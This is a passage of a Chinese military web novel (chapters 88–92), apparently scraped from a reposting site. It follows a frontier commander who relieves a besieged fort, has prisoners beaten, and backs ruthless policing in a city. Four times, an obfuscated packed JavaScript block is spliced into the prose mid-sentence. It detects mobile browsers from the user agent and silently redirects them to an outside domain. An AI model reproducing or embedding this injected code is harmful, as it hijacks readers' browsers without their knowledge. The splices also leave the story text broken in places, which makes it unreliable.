这句话韩勇同样对自己的手下说着,没有退缩的余地。想要活下去,那就只能玩命搏杀。
就在地方军队,扑向山寨,在这千钧一发之际。远方的夜空中突然升起几颗红色的信号弹!
它们划破夜空、轰然炸响,绽放出耀眼的红色烟花,在浓重的夜色映衬下,显得格外醒目。
如同黑夜中绽放的血色蔷薇。
张富贵先是愕然,随即辨认出那熟悉的信号,爆发出震天的狂笑:“哈哈哈,是我们的信号!”
“援军!援军到了!”
“援军来了!援军来了!”
喜讯如野火般迅速传遍山寨。
绝处逢生的希望瞬间点燃了所有守军将士的斗志。
伤兵挣扎着爬起来,抓起手边的武器。
箭手将最后几支箭矢小心地搭在弦上。
寨门后的刀盾手们不约而同地向前迈出一步。
“杀!”喊杀声骤然自山寨内部冲天而起。如海啸般一浪高过一浪,压过了山下敌人的喧嚣。
杨全同样看到身后夜空中那几朵血红的烟花。
红的妖冶,红地在他心中生出一种不好的预感。
那红色太过鲜艳,仿佛是用鲜血染就,在夜空中久久不散,像是在宣告着什么不祥的预兆。
接着,轰隆隆的地面震动由远及近。
这声音越来越响亮,地面都在轻微颤,碎裂的石子在蹦跳。
这是大队骑兵冲锋时才有的景象。
许多山坡上的厢军士兵不由自主地往声音传来的方向望去。
远处大队骑兵如暗夜中的幽灵般向这边冲来。
马蹄踏起漫天尘土,如狂潮冲天,铁甲反射着幽冷的月光。
“不好,敌人的援军来了!”杨全听到山上的笑声,脑海中冒出这个想法,脸色瞬间变得惨白。
但他很快强自镇定,厉声喝道。
“不要慌,不要乱,结阵迎敌!”
“快,前队,迅速强攻,踏平山寨。”
“杀!”整齐划一的喊杀声响
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418904|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
彻四野,如刺破夜空。
那是秦猛率领援军双战马轮换,除了必要的停顿,在马上啃干粮,一路不停,终于及时赶来。
草原战马高速冲锋,速度何等之快?
明明前一刻还在远处,几个眨眼就到了附近。
后排骑兵双腿夹着马腹,弯弓搭箭。
“嗡——”弓弦颤动不休,箭矢如流星破夜而出,不断有厢兵中箭倒地,惨叫之声此起彼伏。
上百骑兵形成锐利的锥形阵,狠狠撞入厢军后阵中!
“本将乃铁血军寨知寨官秦猛,山贼给老子死!”
秦猛冲在最前,胯下踏雪乌骓撞飞好几个敌军,手持丈八铁枪横扫,厢军挨着,惨叫抛飞。
常勇在左,**在右,三人形成冲锋箭头。身后,骑兵队迅速扩大战果,如入无人之境。
顿时,一大片厢军被撞得倒飞而出,撞倒身后的同伴。
骑兵队来回冲杀,如劈波斩浪,所向披靡。
战马冲撞之力何等恐怖,骨骼碎裂之声不绝于耳。
铁骑践踏,**乱扎,长刀乱砍,掀起一阵腥风血雨。
秦猛老远就看到在马上指挥的杨全,率队直接冲杀过去。
杨全自恃勇武,见状不但不避,反而拍马迎上。他哪敢承认对方身份,颠倒是非的喝斥:
“尔等山贼好大的狗胆,袭击官兵,贼人受死!”
他怒目圆睁,纵马杀来,举刀便劈。
两马交错间,秦猛朝他露出轻蔑的笑,**如蛟龙出洞,一拨一挑,便将杨全手中大刀击飞。
随即反手一枪杆砸在他后背,将其打**下。左右亲兵下马,一拥而上,将杨全生擒活捉。
“主将已擒,器械跪地,降者不杀。”
秦猛气沉丹田,声如洪钟,响彻战场。
“器械跪地,降者不杀。”身边,许多军卒大喊。
可是战场太多混乱,喧嚣盖过呼喊。
“哼,那就杀,杀到他们怕。”秦猛脸色瞬间阴沉。又下令**和常勇率一队骑兵绕袭后山。
彻底拉开了猎杀序幕。
“是将军来了!弟兄们,杀出去!”
山寨望楼上的守军看到这一幕,激动地大声呼喊。
寨门轰然洞开,张富贵、王铁山率领铁甲寨兵纷纷跨马舞刀,如猛虎下山般冲出山寨杀来。
虽然许多人受伤,但此刻士气如虹,喊杀声震天动地。
张富贵一马当先,手中的狼牙棒挥舞如轮,每一次抡砸都伴随骨骼碎裂,带起一蓬血雨。
王铁山则率领一队精锐直插敌军心脏,所到之处,势如破竹。
两路夹击之下,地方军队大溃败,纷纷丢盔弃甲,四散逃窜。
然而,他们又如何跑得过疾驰的骑兵?
战马奔腾,如影随形,许多厢兵还没跑出几步就被追上,黑夜中寒光闪过,成了刀下亡魂……
第89章 驰援定战局
秦猛追杀溃敌之际,夜色中忽闻马蹄声如雷,一簇簇火把蜿蜒而来,宛若一条奔腾的火龙。
“来者止步!”
夜色难辨来人,秦猛横枪立马,声震四野。
“虎贲军飞虎卫副将,铁血军寨秦猛在此,来者通名!”
火光下,一员将领勒马而出,甲胄映着星火,朗声道:“秦知寨,又见面了兵。虎贲军飞虎卫副将周扬,奉赵将军之命,率三百铁骑来援!”
原来,张富贵早察觉地方军合围之势,已留后手。
他命斥候小队分三路疾驰报信:
一路往边寨,嘱秦大壮加固防线、谨防突袭。
二路往郡城寻秦猛,告知山寨危急。
最后一路直闯飞虎大营,详述敌军异动与山寨困境。
本往返八百余里难以及时抵达,可赵将军接到袁飞密信后,提前两日率军赶来,中途恰遇赶赴幽州飞虎大营的斥候。
正因如此,周扬才得领兵星夜驰援,截住追兵、与秦猛会合。
“哈哈哈,好哇!”秦猛问清情况后,爽快大笑。
“周大哥来得正是时候,一起抓俘虏当苦力!”
飞虎精锐杀到,彻底合围地方厢军。
铁骑来回冲杀,布下天罗地网,将残敌尽数困在包围圈中。
周扬弓马娴熟,一杆银枪出神入化,每一次刺出都精准命中敌人要害。
所率骑兵更是训练有素、配合默契,如二层包围圈般,将试图突围的厢军队伍一次次击溃。
不少人为求活命,丢械跪地求饶。
负隅顽抗者,皆是被就地格杀。
后山方向的敌军亦被击溃,遭骑兵疯狂追杀。
**和常勇率队押着数十个厢军俘虏返回,小伙**垂头丧气,常勇却眉开眼笑。
——他撞上了被**一枪捅伤的指挥使军官,将其活捉。
最终,杨全所率一千多厢军,安然逃脱者寥寥无几。
战场上尸横遍野、血流成河,俘虏抓到近三百人,其余皆倒在血泊之中。
一步错,步步错!
功名利禄未得,反倒成了孤魂野鬼。
从核心寨区到孤峰山脚下,焦土遍布,残旗断戟随处可见。
濒死伤者的呻吟与战马的哀鸣在夜风中飘荡,诉说着战斗的惨烈。
星光照在秦猛满是血污的脸上,他望着满地尸骸,冷哼一声:“早知今日,何必当初!”
“纵使你们是被蛊惑,可若自身不贪,何苦走这一遭?既然上了战场,就得有赴死的觉悟!”
……
战斗结束后,周扬率军围困俘虏,就地审问。
“直娘贼!你们这群地方官狗,抢军功,还敢攻杀虎贲军飞虎卫,真是找死!给老子狠狠打!”
这面皮白净、看似书生的周副将口吐芬芳,令人揪出两个营指挥使与几个都头军官,当着众俘虏的面扒光衣服,屁股撅起,鞭打审讯。
“说!姓甚名谁?”
“谁让你们来的?为何**边军?”
“给老子说!是不是刘德福密谋怂恿你们来的?”
……
周扬本是脾气温和之人,此番驰援,既惊怒地方军队敢攻杀剿匪边军,又记着赵起将军“查清事情”的严令。
尤其得知冷艳山边寨被断运河粮道、遭山贼骑兵夜袭时,赵将军勃然大怒,一脚踹翻案桌。
地方势力越发猖獗,做得太过火,雍州和并州军队或许会忍,但幽州驻军虎贲军绝不会吞声。
故而周扬此刻格外暴戾,揪着指挥使杨全的头发狂甩嘴巴,左右摇晃,险些将其头皮拽下!
“呸,活该!”秦猛吐出三字,毫无干涉之意。
他找到张富贵、王铁柱等人,见众人虽多带伤、铁甲遍布斩痕,却无性命之忧,稍稍安心。
若他来得晚些,好不容易拉起的队伍怕是要损失惨重。
“猛子,多亏你及时赶来,不然只能给我收尸了。”张富贵拎着两坛酒快步走来,残留血污的脸上少见的心有余悸,直接丢给秦猛一坛。
秦猛接过酒坛,仰头饮了一口,酒水顺着嘴角滑落,混着脸上的血污,更显悍勇。
“说什么胡话,都是袍泽兄弟,理应拼死救援。”
“再说了,你这么勇猛,肯定不会有事;就算真有事,以咱们的关系,你老婆孩子我也会照养。”
话一出口,秦猛倒有些尴尬,这话怎么这么耳熟?
他脑海里竟浮现出一个五短身材、白面奸诈之徒的模样。
“娘嘞!我张富贵命硬得很,地方狗想杀我,门都没有!”张富贵恼羞成怒地瞪了秦猛一眼。
“对对对,我问过了,这次战斗,富贵哥当居首功。”秦猛立马岔开话题,举起酒坛与他碰了一下。
“你有伤,少喝点酒。”
“没事,伤口不深,过几天就好。”
“将军!”这时,王铁山安排好打扫战场,领着韩勇、刘三等人跑过来,为二人说好话。
韩勇是冷艳山二当家,刘三原是刘德福的心腹管事,偷听到消息后逃出来,及时赶到山寨报信。
若不是二人通风报信,等地方军队深夜偷袭,张富贵他们怕是真要栽跟头。
张富贵也帮腔:“大家一起联合抗敌,也算并肩作战的战友,希望秦知寨你能网开一面,不予追究。”
“没错,韩勇及麾下喽啰常年在外经商,没参与,甚至不知山寨掳掠边民、**放火的事。”
韩勇当即带人扑通跪地,朗声道:“求将军收开恩。我等虽是山贼,却都是活不下去的穷苦百姓,懂忠义二字,谁不想过安稳日子。
我等愿跟随将军效力,鞍前马后,在所不辞!”
“请将军开恩。”一群喽啰呐喊。
秦猛早已得知这些情况,又念及韩勇懂经商,正是军寨急需的人才,便答应了他的投奔。
他沉吟片刻后,点头:“可以,此战你们立了功,既然愿意投奔从良,本将就收留你们。
放心,你们山贼的身份我不会往外说,对外就称是边寨调来协助剿匪的队伍,没人会多问。”
“希望记得今日,不可误入歧途。”
“多谢大人开恩。”韩勇等**喜,俯身拜谢。
“起来。”秦猛上前将韩勇、赵虎、陈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418905|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
石一一扶起。
唯独刘三仍跪在地上不起。
刘三嘭嘭磕头,哭成泪人:“将军,我知道的太多了,在下愿做牛做马,只求您救我的家眷。”
“先别急,我会尽力想办法救人。”
秦猛将刘三拉起,详细了解情况后,温言安抚。
“只要你没被抓住,刘德福投鼠忌器,暂时不会动你家人。”
随后,他下令队伍全员行动:
收集战场上的衣甲、箭矢、折断的长刀与枪头。
但凡有用之物,尽数收拢。
众人就地取材制作简易拖车,将仓库里的粮食、棉布等物资搬上车,驴骡牛不够,便用之前缴获的敌军战马拖拽。
“不要乱,不要慌!女人煮饭烧水,老爷们打扫战场,早点离开这鬼地方,返回边寨安顿!”
“秦知寨说了,回去后**行赏!”
“这是边疆,是乱世,活着、活得好才最重要。大家别有心结,就当杀了一群披着人皮的畜生!”
**、王铁山、常勇等人吆喝着,各自带队忙碌。
火把光芒晃动,映照着一张张疲惫却坚毅的脸。
那二十多个被救下的女子,眼神麻木又带着狠厉。
看着山寨外血流成河的尸堆,有人目光冰冷一片,有人嘴角还残留着污秽,显然是呕吐过。
这场血战的记忆,必将长久烙印在每个幸存者心中。
次日天蒙蒙亮,一支绵延数里的车队远离冷艳山。
曾经的山寨被大火吞没,连同满地尸体一同化为灰烬。
飞虎卫三百精锐分两队,一队开路、一队断后。
没受伤或轻伤的边寨军卒骑马护卫车队两侧。
张富贵、韩勇、刘三等伤兵被安排在马车上。
二十多个女子背着小包,也乘车赶路。
车队后方,近三百个俘虏被绳子绑着手连成一串。昨晚见边军审讯了一夜,人人心惊胆战。
其实周扬的鞭打审讯本没起效,还是**带着兵卒用了铁血军寨的特殊刑罚,非常管用。
杨全等军官的惨叫声吓跑了周围豺狼,也让他们如竹筒倒豆子般吐露实情,问什么答什么。
青阳郡城那边还有事!
秦猛需再次返回,便与周扬等人作别。
“秦知寨,你不随队返回军寨?”周扬好奇问道,又看了看一旁抱臂的袁飞,或者依旧沉默。
秦猛含糊说道:“周兄弟,烦请转告赵将军,我还有事要办,过两天再回军寨,请他担待一二。”
随即他脸色一沉:“这次厢军袭击我军寨队伍,不管背后是谁,敢动我们铁血军寨的人,就得付出代价,这事没完!”
“报仇是肯定的,但眼下最重要的是安抚伤员、清点损失,同时加强军寨戒备。”周扬神色凝重。
“地方军队损失过千,这事还得等将军定夺。”
“那是将军的事,我只知道,敢动我的人,必须以牙还牙、以眼还眼,为死去的弟兄们报仇!”
秦猛满脸狠厉,目光扫过在场众人。
随后,他拨转马头,与周扬作别,率队折返青阳郡城。
第90章 青阳城之变
青阳郡城。
十一月,中旬初。
朔风如刀,刮过街巷,吹得行人缩颈弓腰,步履匆匆。
秦将军染了风寒的消息,在这寒风中不胫而走,引得城内大小官吏心中忐忑。
郡守林安国,郡丞董袭差人来慰问。
税吏班头张琨早早备了上等老参,县丞刘伟也拎着滋补药材赶到将军暂居的北军营探望。
却统统被门外按刀而立的亲兵拦下。
院内隐约传来几声压抑的咳嗽,亲兵面色冷硬:“将军需静养,一概不见。”
众人只得留下心意,讪讪离去。
人的名,树的影!
这位将军一言不合,便拔刀**的铁血作风。
暗地里些心怀异心者,也不由得将心思摁回肚里,愈发老实本分。
无人知晓,此刻的秦猛早已不在城中。
与此同时,得了新命令的庞仁已至县衙报道,接下郡县巡检使臣的印信,专职操练兵马、布防关隘、缉贼捕盗,维系这青阳城的治安。
巡检司衙门设在城外十里咽喉关隘。
然而,庞巡检上任第一桩事,却以“奉将军令,协助城中产业交接”为由,将练兵事务暂交副手刘大头与唐****。
一个领着十来个铁甲军卒。
一个带着二十多名从县衙快班、壮班点来的衙役。
一行人浩浩荡荡先往城外营地整顿兵丁去了。
庞仁自己则留了下来,领着部分寨兵和衙役,真格儿地在青阳郡城内开始“练习”抓贼捕盗,打击奸宄(guǐ)。
青阳城内的治安问题也轮不到巡检司来插手。但他以“练习”,协助衙门办案还是允许的。
前日,庞仁正领着一队人马巡至西市口,但见前面一阵骚动,围了一圈人。
挤进去一看,一个衣着朴素的老者坐在地上,抱着腿呻吟,身前倒着一辆菜车,青菜萝卜撒了一地。
对面是个穿着绸衫的中年商人,面红耳赤地争辩:“分明是你自己撞上来的!怎可讹我?”
那老者哀嚎着:“天杀的,你马车撞了人,还反咬一口。
我的腿定是折了,没有十两银子,今日决计不能了!”
“你这是污蔑……”中年商人气得发抖,与之争执。
庞仁铜铃般的眼睛一瞪,拨开人群。
“何事喧哗?”
他这身巡检公服和身后一队虎狼之兵,顿时让场面静了几分。
那商人如见救星,忙上前作揖:“巡检大人明鉴!晚生马车行得缓慢,这老者突然从旁冲出撞上車辕,便倒地不起,开口便要十两汤药费。”
那老者却哭天抢地:“青天大老爷,小老儿一把年纪,岂会拿身子骨讹人?哎哟,疼死我了……”
庞仁围着那老者转了一圈,忽地蹲下,指着老者刚还“剧痛难忍”的右腿:“这条腿折了?”
老者泪涕交加:“是极是极,动弹不得。”
庞仁点头,猛地出手,五指如铁钳般捏住老者小腿肚。
老者“嗷”的一嗓子,触电般猛地将腿缩回来,双腿下意识乱蹬,连年后退,惊惧地看着庞仁。
“这是腿断的样子?”庞仁哈哈大笑,站起身:“看来是好利索了!这腿缩得比兔子还快!”
“哈哈哈……”围观众人顿时哄笑。
老者面如猪肝,爬起身想跑,却被衙役一把按住。
庞仁脸色一沉:“哼!坑蒙拐骗到爷爷我头上!捆了!送到边寨开荒队去,那儿正缺人干活!”
昨日,城南一小食肆。
一个满脸横肉的汉子拍桌子砸板凳,吃得满嘴流油,桌上堆满空盘。
吃完一抹嘴,他起身便走。
店家小二忙拦住:“客官,您还未结账呢,共三十五文。”
那汉子把眼一瞪:“钱没有,爷爷我吃饭从不给钱!不过爷爷讲规矩,你找人来打我一顿,这账便抵了!”
小二吓得不敢上前,掌柜的愁容满面。
正巧庞仁巡至此处,闻声进来。
店家如看到救星,立刻上前说明情况。
那汉子见状,竟主动迎上:“哟,官爷来了?来得正好,这顿打就由官爷们代劳,打完了事!”
庞仁气乐了:“还有人这等癖好?”
他一摆手:“成全他,按住!”
身后兵卒如狼似虎扑上,将那汉子压倒在地。
庞仁抽出铁尺,却未打,只冷笑:“打你脏了爷的手。”
“既然喜欢挨打抵账,矿山正缺苦力,天天有干不完的重活,饭管够,打也管够,带走!”
汉子这才慌了神,连喊给钱,却已由不得他。
庞仁目光扫过食肆角落,注意到一个一直沉默喝酒的壮硕汉子,见其身材魁梧,目光清明,臂长腰直,似是练家子,不由多看了两眼。
那汉子亦抬眼望来,冬衣单薄,显得窘迫。庞仁立刻上前,坐在对面,自来熟地与他攀谈……
幽州边陲,民风彪悍,城中殴斗之事频繁发生。商队摩擦,也是最令知县韩齐头痛之事。
今日,一支大周商队与一支跑西域的商队因货栈场地争执,双方皆有携刀护卫,言语不通,火气极大,当街械斗,行人避让,或叫好。
县衙衙役弹压不住,急忙报予庞仁。
庞仁带队疾驰而至,铁甲铮铮,瞬间控制场面。
他不管双方如何辩解,只问:“可曾动手?可损坏物件?”
得知虽未死伤,但斗殴间砸坏了临街店铺几家货摊,便大手一挥:“凡动手者,皆锁拿。
各罚银二十两,赔偿店家损失,再犯,严惩不贷。即刻交钱,交不出钱的,一律送去垦荒!”
双方领队皆不服,欲要理论。
庞仁眼一横:“嗯?谁想反对?”
身后军卒刀半出鞘,煞气逼人。
更有甚者,城北军营方向烟尘微起,似有马蹄声隐隐传来。
想到那位坐镇虽身体抱恙、余威犹在的秦将军,双方顿时噤声,乖乖交了罚款,领回手下,偃旗息鼓。
韩齐知县见此法治立竿见影,大受启发,连夜起草告示
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418906|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
即日起,青阳郡城内严禁私斗。
凡挑衅动手者,一经拿获,重罚银钱;无力缴纳者,一律服苦役,修桥补路、开荒种田。
若有持械抗拒者,军队介入。
告示一张贴各处,各商队纷纷传阅,无不凛然,自此行经青阳城,无不严加约束部下。
庞仁这般“大力出奇迹”的法子,效果却出奇得好。
就这几日,青阳郡城风貌骤变。
市井间坑蒙拐骗者、偷鸡摸狗之徒,一旦被拿,不问情节轻重,多数直接被捆送上马车。
目的地——铁血边寨。
就连那些蜷缩在阴暗角落的流民,也被妥善登记,随后被顺风车行的车队一批批送往边寨安置。
城内街面,再也见不到裹着破絮瑟瑟发抖的老者,亦无衣衫褴褛追逐行乞的孩童。
城中百姓倍感安宁,酒楼茶肆间,议论纷纷:
“奇了怪!这两日,街上连个偷儿都难见了!”
“可不是嘛!那些横行的纨绔子弟,如今个个缩在家里,生怕被庞阎王逮去修城墙!”
“还得是军队镇着!往日衙役拿不住的悍匪,军爷们一出马,立马服帖!”
“虽说手段硬了些,但这日子,过得安心呐!”
他们都道是庞巡检执法如山,却不知这背后,是秦猛临时传授那“非常时用非常法”的决断。
庞仁不过是一把执行到底的快刀。
铁血军寨之名,随着南来北往的商队,迅速传遍北方。
城北军营,募兵一直在持续。
王善负责招收土兵,寨兵,亲兵,忙得脚不沾地。
三日间,已有百余名身强力壮的青壮通过考核,领下号衣,换上县衙送来的皮甲,操练起来,已初具行伍模样。
另一边,李恒主持的产业交接亦是雷厉风行。
刘家留下的二十多处产业,除清风楼等少数商铺暂留,其余布庄、赌坊、粮油铺、典当行乃至城外山头。
三日内,被郡城富户及外来商旅瓜分殆尽。
其中,南河码头之争最为激烈。
这码头乃商船中转要冲,停泊费用日进斗金。
竞价从八千两白银起,一路飙升。
最终,被一支名不见经传的商队,以两万两白银,并加献万石粮食、三百头耕牛的惊人高价收入囊中。
这支商队实则是常九派来的人手。
其余地段上佳的铺面,虽不及码头值钱,也均以不菲价格成交,换回的钱粮数额极为可观。
一切皆依秦猛计划:李恒均以将军私人名义,与得主暗订契约,占两成干股,约定日后,军队会提供保护,并帮忙训练其庄丁护卫。
对此条件,无论本地富户还是外来豪商,无一拒绝,反倒皆大欢喜。
能借此与铁血将军搭上线,花些钱粮又算得什么?
协议既成,各家纷纷施展手段,调集承诺的钱粮物资。
只见车拉马拽,一队队满载粮食和物资的货车结成队伍,源源不断地运往城外铁血边堡。
第91章 走自己的路,让别人说去
天气越发严寒,青阳城街上却依旧人声鼎沸,货郎的吆喝、食客的谈笑声裹着冷风翻涌。
秦猛率队返回,一行人乔装成商队,粗布短打衬着腰间暗藏的兵刃,混在人流中毫不起眼。
唯独袁飞眼尖,频频回头张望。
——往日里蜷缩在街角、散发着酸腐气的流民竟不见了踪影,连坑蒙讹人的泼皮都没了踪迹。
巡街的快班衙役也不再凶神恶煞,甚至还礼让百姓。各商铺老板的笑脸都多了几分踏实。
“秦知寨,”袁飞刻意放慢脚步,找卖水的老汉问清缘由后,快步追上秦猛,语气里带着几分急切。
“坑蒙拐骗者,偷鸡摸狗之辈,本就不是十恶不赦,动辄绑去边寨垦荒修桥,是不是太……”
“太什么?”秦猛停下脚步,指尖摩挲着腰间的佩刀。
他目光扫过粮油铺外挂着“公平秤”的木牌,语气带着几分玩味,“骚年,‘勿以善小而不为’,千万不要忘记,后半句‘勿以恶小而为之’?”
“哪…哪个古人说的?”袁飞听得茫然。
“我一个老乡。”秦猛眼露追忆,往前踏出一步,声音压低了些,却带着不容置疑的力度。
“你当他们是小恶?曾经我亲眼见过老婆婆,被泼皮讹走买药的碎银,当场就哭晕在路边。
还有那吃霸王餐的,把店小二打得头破血流,转头就去赌坊挥霍。
官府管不管?管了,打几板子放了,转头人家照样作恶。
犯罪没成本,收益倒丰厚,这不是放纵是什么?”
袁飞被问得一噎,刚要开口,就听秦猛继续说道:“再者,老子是戍边的边军,不是县衙里磨嘴皮子的衙役。也不是那怂货地方军。
我不管他是偷一文还是骗十两,只要做了,就得受罚。
榜文贴得明明白白,要么去矿洞开矿,要么去边疆开荒,管饱饭、给工钱,干两三个月攒笔钱,回来安分做小生意,不比当泼皮强?”
“可这般行事,容易落人口舌啊!”袁飞终于抓住话头,急声道。
“落就落呗!”秦猛满不在乎地耸肩,嘴角勾起一抹讥诮,“在那些酸儒眼里,咱们武人天生就是粗鲁野蛮的。
我又没想靠着他们的夸赞升官发财,走自己的路,让他们说去!”
他话锋陡然一转,眼底寒光乍现,声音压得极低,“不过,别让老子走别人的路,让他们无路可走。
比如说,要是到了这幽州边陲,还敢有人不讲规矩,拿这事儿嚼舌根,那就甭想着回去了。”
“你这是土匪行径!”袁飞脸色一沉,语气愈发严肃。
秦猛翻了个白眼,伸手勾住他的肩膀,往街边茶馆方向带了两步:“你小子懂个屁!
咱们边军把脑袋别在裤腰带上,守着千里疆域,吃的是掺沙子的干粮,睡的是漏风的帐篷,凭什么过得这么苦,还要受那些老爷们的气?”
他手指重重戳了戳袁飞的胸口,“是咱们太老实,讲规矩。有些人吃相难看,缺了大德,还希望我们讲规矩,瞧给他们惯出了臭毛病!
他们不守规矩,咱们凭什么墨守成规?要想有肉吃g活得体面,就得自力更生——前提是,得先遵纪守法,再把那些坏规矩的人收拾服帖了!”
“可你这也叫遵纪守法?”袁飞瞪大了眼睛,满脸难以置信。
“废话!”秦猛嗤笑一声,压低声音,“我做的哪件事不是占着道义?搞刘德福,是因为他勾结山贼。
罚泼皮,是因为他们害民。咱们得逮住他们的尾巴往死里整,既除了害虫,又能捞好处。
你以为刘德福栽了?可他背后的人会甘心?咱们正好借着这事儿,敲他们一笔,补充军饷,装备等,顺便安插自己人,这才叫会办事!”
“你看着吧,赵家军想法肯定是这样,不会让我去幽州搞死刘德福,他会派人去,与那边接洽。”
“但我要刘德福押送飞虎大营,肯定是没问题。到了咱们手里,捏扁搓圆还不是一句话的事?”
袁飞听得目瞪口呆,张着嘴半天没合上,活像个被噎住的二傻子。
秦猛见他这模样,也不再多言,拍了拍他的肩膀:“你小子还是太年轻,要记住,身为将军,顶在前面扛事儿,手下士兵惹事不怕,关键是要能打,打胜仗,别人怕,将军才有筹码。”
“那要是打输了呢?”袁飞傻傻地问。
“打输了,将军脸面无关啊!”秦猛没有过多解释。
他带着众人往城北军营走去。
刚到军营门口,就闻到一股肉香飘来,庞仁带着七八个亲信,从伙房那边走过来。县衙有伙食,没有军营伙食好,他扯出“边寨是咱娘家”之类的话,厚着脸皮,天天来蹭饭。
见到秦猛,庞巡检立刻收了嬉皮笑脸,快步跑过来行礼,身后还跟着个铁塔似的黑大汉。
那汉子身高八尺有余,膀大腰圆,胳膊比寻常人的腿还粗,脸上带着几分憨厚,却透着股生人勿近的悍气。
“将军,您可算回来了!”庞仁笑得一脸谄媚。
他侧身让出身后的汉子,“这是牛五兄弟,也是燕北人。自幼随父母到中原,学相扑,手上功夫了得,我跟他过了几招,几下就被打翻了。
您不是要扩充亲卫队吗?要身手好的,有绝活的。这兄弟一身本领,绝对符合您的标准!”
说罢,庞仁转向身后汉子:“兄弟,这就是我跟你说的秦将军,跟着他去边寨,前途无量。”
“俺牛五,愿意跟将军杀**!”汉子上前,双手抱拳行礼,瓮声瓮气地开口,声音像闷雷似的。
“好!”秦猛眼前一亮,这等猛士正是亲卫队需要的,当即拍板,“以后你就跟着我,亏待不了你!”
收了牛五,秦猛又想起乔装商队时,表现亮眼的护卫常勇,那虬髯大汉身手矫健,前晚还协助抓住了逃犯杨全,找个机会与他说说。
“庞巡检都有了绰号,看来混熟了。”秦猛上下打量庞仁,突然收敛笑容:“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418907|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有件事交给你办。”
“大人,尽管吩咐。”庞仁昂首挺胸。
“
午后,郡守府后院。
林安国端着一碗冒着热气的肉粥,站在女儿林婉儿的房门外,手指悬在门板上,犹豫了半天,才轻轻叩响。
“婉儿,开门吧,好歹吃些东西。是父亲错了,不该打发秦将军,日后见了他,我亲自赔不是。”
三日前,他想用财帛来感谢秦猛,划清界线。这位郡守千金当即发了脾气,把自己关在房里。
两三日不怎么吃东西,乳娘,贴身丫鬟劝了无数次,都被她怼了回去,最后只能如实禀报给林安国。
林安国妻子早逝,独自将女儿拉扯大,平日里虽严厉,却最疼她。
此刻听着房内没动静,心里又急又疼,刚要再劝,就听门内传来女儿带着哭腔的声音。
“爹爹就是过分!秦将军救人不求回报,谈吐得体,又懂规矩,您却瞧不上他,还想赶他走!”
“是是是,父亲不对。”林安国连忙认错,声音放得极柔,“你先开门,把粥喝了,饿坏了身子可怎么好?”
房门“吱呀”一声开了条缝,林婉儿眼眶通红,脸上还带着泪痕,却依旧执拗地盯着他。
“那您以后见了秦将军,不许再摆郡守的架子,也不许给人家脸色看!”
林安国见女儿脸色虽差,却不算虚弱,心下稍安,又有些哭笑不得:“你这丫头,怎的尽向着外人?”
“您答不答应嘛!”林婉儿作势要关门,语气里满是撒娇的意味。
“答应,答应!”林安国连忙按住门板,把粥碗递过去,心里却有些酸溜溜的,“你这般向着他,可人家呢?拍拍屁股就走了,未必领你的情。”
话音刚落,就见养伤暂领郡衙护卫队的张崇快步走来,手里捧着一卷用红绸系着的物事。
他躬身道:“大人,小姐。”
“方才有人将此物送到衙门,指名要交给大人。”
林安国把粥碗塞到女儿手里,接过红绸解开,里面竟是一张泛黄的地契,上面的字迹清晰。
——正是城中那家生意最好的胭脂铺,价值少说也有五千两银子!
“谁送来的?可留有话?”
林安国手一抖,地契差点掉在地上,急声问道。
张崇躬身回道:“来人说,是奉秦将军之命,将这产业赠与大人。
还说‘此物务必收下,不珍贵,多少能挣几个钱补贴家用,也能多招募些护卫亲信。幽州这滩水,很浑很深,大人多些底气,也好办事’。”
林安国捏着那张轻飘飘的地契,只觉得重逾千斤。
他想起三日前自己用财帛来感谢,脸上顿时火辣辣的,良久,化作一声长叹,眼底满是复杂:“哎……这秦猛想得长远,倒比我通透啊……”
“哼,此人有勇有谋,那爹爹你还瞧不上人家?”
林婉儿边喝着肉粥,边斜眼看父亲调侃着,突然听到秦将军的名字,女孩心情瞬间多云转晴。
第92章 秦将军返程
秦猛回到城北军营,只见校场上两百多人正在列队训练。
其中几十个寨兵、常家护卫,剩下的都是新招募的士兵。
